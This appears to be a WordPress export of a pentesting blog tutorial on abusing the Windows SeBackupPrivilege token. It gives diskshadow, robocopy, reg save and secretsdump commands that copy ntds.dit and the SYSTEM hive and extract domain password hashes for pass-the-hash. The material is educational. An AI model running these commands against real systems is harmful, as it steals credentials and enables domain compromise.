{"id":3722,"date":"2024-11-09T23:55:22","date_gmt":"2024-11-09T22:55:22","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3722"},"modified":"2024-11-09T23:55:25","modified_gmt":"2024-11-09T22:55:25","slug":"sebackupprivilege-exploitation","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/","title":{"rendered":"SeBackupPrivilege – Exploitation"},"content":{"rendered":"\n

Welcome to this post where we will see how to exploit the token “SeBackupPrivilege”. We will see how to exploit it manually inside the compromised machine and the second method will be remotely from our attacker machine.<\/p>\n\n\n\n

\"SeBackupPrivilege<\/figure>\n\n\n\n\n\n\n\n

First of all, I will to an introduction to tokens in windows:<\/p>\n\n\n\n

\n

Each user logged<\/strong> onto the system holds an access token with security information<\/strong> for that logon session. The system creates an access token when the user logs on. Every process executed<\/strong> on behalf of the user has a copy of the access token<\/strong>. The token identifies the user, the user’s groups, and the user’s privileges. A token also contains a logon SID (Security Identifier) that identifies the current logon session.<\/p>\n<\/blockquote>\n\n\n\n

I got the description from HackTricks<\/a>.<\/p>\n\n\n\n

The second description that we will need, it will be about “SeBackupPrivilege:<\/p>\n\n\n\n

\n

The system is caused to grant all read access<\/strong> control to any file (limited to read operations) by this privilege. It is utilized for reading the password hashes of local Administrator<\/strong> accounts from the registry, following which, tools like “psexec<\/strong>” or “wmiexec<\/strong>” can be used with the hash (Pass-the-Hash technique). However, this technique fails under two conditions: when the Local Administrator account is disabled, or when a policy is in place that removes administrative rights from Local Administrators connecting remotely.<\/p>\n<\/blockquote>\n\n\n\n

I got the description from HackTrikcs<\/a>.<\/p>\n\n\n\n

Once we know what means each thing, we can proceed to exploit the token:<\/p>\n\n\n\n

Check for tokens\/privileges – Check for<\/strong> SeImpersonatePrivilege<\/em><\/p>\n\n\n\n

whoami \/priv<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Based on that the user is part of the has assigned the token SeBackupPrivilege I can backup the system:<\/p>\n\n\n\n
    \n
  • Backup script saved as “diskshadow.txt”:<\/li>\n<\/ul>\n\n\n\n
    echo \"set context persistent nowriters\" | out-file .\/diskshadow.txt -encoding ascii\necho \"set metadata C:\\\\Windows\\\\Temp\\\\meta.cab\" | out-file .\/diskshadow.txt -encoding ascii -append\necho \"add volume c: alias temp\" | out-file .\/diskshadow.txt -encoding ascii -append\necho \"create\" | out-file .\/diskshadow.txt -encoding ascii -append\necho \"expose %temp% z:\" | out-file .\/diskshadow.txt -encoding ascii -append<\/code><\/pre>\n\n\n\n
      \n
    • Execute it with diskshadow:<\/li>\n<\/ul>\n\n\n\n
      diskshadow \/s diskshadow.txt<\/code><\/pre>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      Copy the NTDS file from the backup with robocopy:<\/p>\n\n\n\n
      robocopy \/b Z:\\\\Windows\\\\ntds . ntds.dit<\/code><\/pre>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      Copy the hives of System:<\/p>\n\n\n\n
      reg save hklm\\\\system c:\\\\Users\\\\d.chambers\\\\Documents\\\\system.bak<\/code><\/pre>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      Download the files and extract the hashes:<\/p>\n\n\n\n
      secretsdump.py -ntds ntds.dit -system system.bak -hashes lmhash:nthash LOCAL<\/code><\/pre>\n\n\n\n
      \"\"<\/figure>\n\n\n\n
      <\/p>\n\n\n\n
      I hope you find this post useful in your engagements.<\/p>\n\n\n\n
      Happy Hacking!<\/p>\n","protected":false},"excerpt":{"rendered":"
      Welcome to this post where we will see how to exploit the token “SeBackupPrivilege”. We will see how to exploit it manually inside the compromised machine and the second method …<\/p>\n","protected":false},"author":1,"featured_media":3723,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":false,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[5,7],"tags":[538,536,537,535],"class_list":["post-3722","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-informacion","category-seguridad-informatica","tag-sebackupprivilege","tag-token","tag-token-exploitation","tag-windows-privilege-escalation"],"yoast_head":"\nSeBackupPrivilege - Exploitation - Hardsoft Security<\/title>\n<meta name=\"description\" content=\"Welcome to this post where we will see how to exploit the token "SeBackupPrivilege". We will see how to exploit it manually inside the compromised machine and the second method will be remotely from our attacker machine.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SeBackupPrivilege - Exploitation - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Welcome to this post where we will see how to exploit the token "SeBackupPrivilege". We will see how to exploit it manually inside the compromised machine and the second method will be remotely from our attacker machine.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2024-11-09T22:55:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-11-09T22:55:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/11\/image.png\" \/>\n\t<meta property=\"og:image:width\" content=\"728\" \/>\n\t<meta property=\"og:image:height\" content=\"380\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"SeBackupPrivilege – Exploitation\",\"datePublished\":\"2024-11-09T22:55:22+00:00\",\"dateModified\":\"2024-11-09T22:55:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/\"},\"wordCount\":313,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/image.png?fit=728%2C380&ssl=1\",\"keywords\":[\"SeBackupPrivilege\",\"Token\",\"Token Exploitation\",\"Windows Privilege Escalation\"],\"articleSection\":[\"Informaci\u00f3n\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/\",\"name\":\"SeBackupPrivilege - Exploitation - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/image.png?fit=728%2C380&ssl=1\",\"datePublished\":\"2024-11-09T22:55:22+00:00\",\"dateModified\":\"2024-11-09T22:55:25+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"description\":\"Welcome to this post where we will see how to exploit the token \\\"SeBackupPrivilege\\\". We will see how to exploit it manually inside the compromised machine and the second method will be remotely from our attacker machine.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/image.png?fit=728%2C380&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/image.png?fit=728%2C380&ssl=1\",\"width\":728,\"height\":380},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/11\\\/09\\\/sebackupprivilege-exploitation\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SeBackupPrivilege – Exploitation\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SeBackupPrivilege - Exploitation - Hardsoft Security","description":"Welcome to this post where we will see how to exploit the token \"SeBackupPrivilege\". We will see how to exploit it manually inside the compromised machine and the second method will be remotely from our attacker machine.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/","og_locale":"es_ES","og_type":"article","og_title":"SeBackupPrivilege - Exploitation - Hardsoft Security","og_description":"Welcome to this post where we will see how to exploit the token \"SeBackupPrivilege\". We will see how to exploit it manually inside the compromised machine and the second method will be remotely from our attacker machine.","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2024-11-09T22:55:22+00:00","article_modified_time":"2024-11-09T22:55:25+00:00","og_image":[{"width":728,"height":380,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/11\/image.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"3 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"SeBackupPrivilege – Exploitation","datePublished":"2024-11-09T22:55:22+00:00","dateModified":"2024-11-09T22:55:25+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/"},"wordCount":313,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/11\/image.png?fit=728%2C380&ssl=1","keywords":["SeBackupPrivilege","Token","Token Exploitation","Windows Privilege Escalation"],"articleSection":["Informaci\u00f3n","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/","name":"SeBackupPrivilege - Exploitation - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/11\/image.png?fit=728%2C380&ssl=1","datePublished":"2024-11-09T22:55:22+00:00","dateModified":"2024-11-09T22:55:25+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"description":"Welcome to this post where we will see how to exploit the token \"SeBackupPrivilege\". We will see how to exploit it manually inside the compromised machine and the second method will be remotely from our attacker machine.","breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/11\/image.png?fit=728%2C380&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/11\/image.png?fit=728%2C380&ssl=1","width":728,"height":380},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/11\/09\/sebackupprivilege-exploitation\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"SeBackupPrivilege – Exploitation"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-Y2","jetpack-related-posts":[{"id":3248,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/29\/tryhackme-relevant-write-up\/","url_meta":{"origin":3722,"position":0},"title":"TryHackMe | Relevant | Write Up","author":"david","date":"agosto 29, 2023","format":false,"excerpt":"In the vast world of cybersecurity, sometimes, it's the smallest of details that can lead to the biggest breakthroughs. It's no surprise then, that in my recent foray into the \u2018Relevant\u2019 room on TryHackMe, I found myself engrossed in a painstaking process of meticulous enumeration. But isn't that the very\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/Untitled-6-1.png?fit=845%2C208&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3072,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/","url_meta":{"origin":3722,"position":1},"title":"Hack The Box | PC | Write Up","author":"david","date":"junio 7, 2023","format":false,"excerpt":"Hey there, Cyber Warriors! \ud83d\ude80 Cracking the code, stepping into the mind of the creator, and uncovering secrets no one else has discovered yet \u2014 this is the thrill of Capture The Flag (CTF) challenges, and today I'll take you on a fascinating journey through one of the most compelling\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1200%2C1035&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1200%2C1035&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1200%2C1035&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1200%2C1035&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1200%2C1035&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3092,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/","url_meta":{"origin":3722,"position":2},"title":"Hack The Box | Inject | Write Up","author":"david","date":"junio 14, 2023","format":false,"excerpt":"Just tackled the 'Inject' machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you're into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec The first step we will do is perform our Nmap scan: \u2514\u2500$ sudo nmap -sT -n\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3581,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/11\/15\/pivoting-with-metasploit\/","url_meta":{"origin":3722,"position":3},"title":"PIVOTING with METASPLOIT?","author":"david","date":"noviembre 15, 2023","format":false,"excerpt":"Pivoting with Metasploit and proxy chains is a sophisticated technique used by penetration testers to navigate through a network by leveraging a compromised system. This post will introduce the art of pivoting using Metasploit's autoroute and socks_proxy modules, illustrating how to extend your reach within a target environment discreetly and\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/11\/image.png?fit=1200%2C686&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3950,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/07\/03\/ai-red-teaming-pentesting\/","url_meta":{"origin":3722,"position":4},"title":"AI Red Teaming – Pentesting","author":"david","date":"julio 3, 2026","format":false,"excerpt":"Welcome everyone to this new post, where we are going to make an introduction to the AI Pentesting\/Red Teaming world. I am going to cover the basics of how this advanced technologies works and how we can exploit it to find vulnerabilities. Also, I am going to present the project\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3735,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/12\/03\/how-to-overkill-the-oscp\/","url_meta":{"origin":3722,"position":5},"title":"How to overkill the OSCP+","author":"david","date":"diciembre 3, 2024","format":false,"excerpt":"Welcome to this new post where I am going to talk about how you can overkill the OSCP+. I will drive you through the material that I used and I will give you recommendation that I would have liked to know before I started my preparation. 1. Introduction and Background\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/oscp.png?fit=639%2C491&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/oscp.png?fit=639%2C491&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/oscp.png?fit=639%2C491&ssl=1&resize=525%2C300 1.5x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/11\/image.png?fit=728%2C380&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3722","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3722"}],"version-history":[{"count":1,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3722\/revisions"}],"predecessor-version":[{"id":3729,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3722\/revisions\/3729"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3723"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3722"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3722"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3722"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}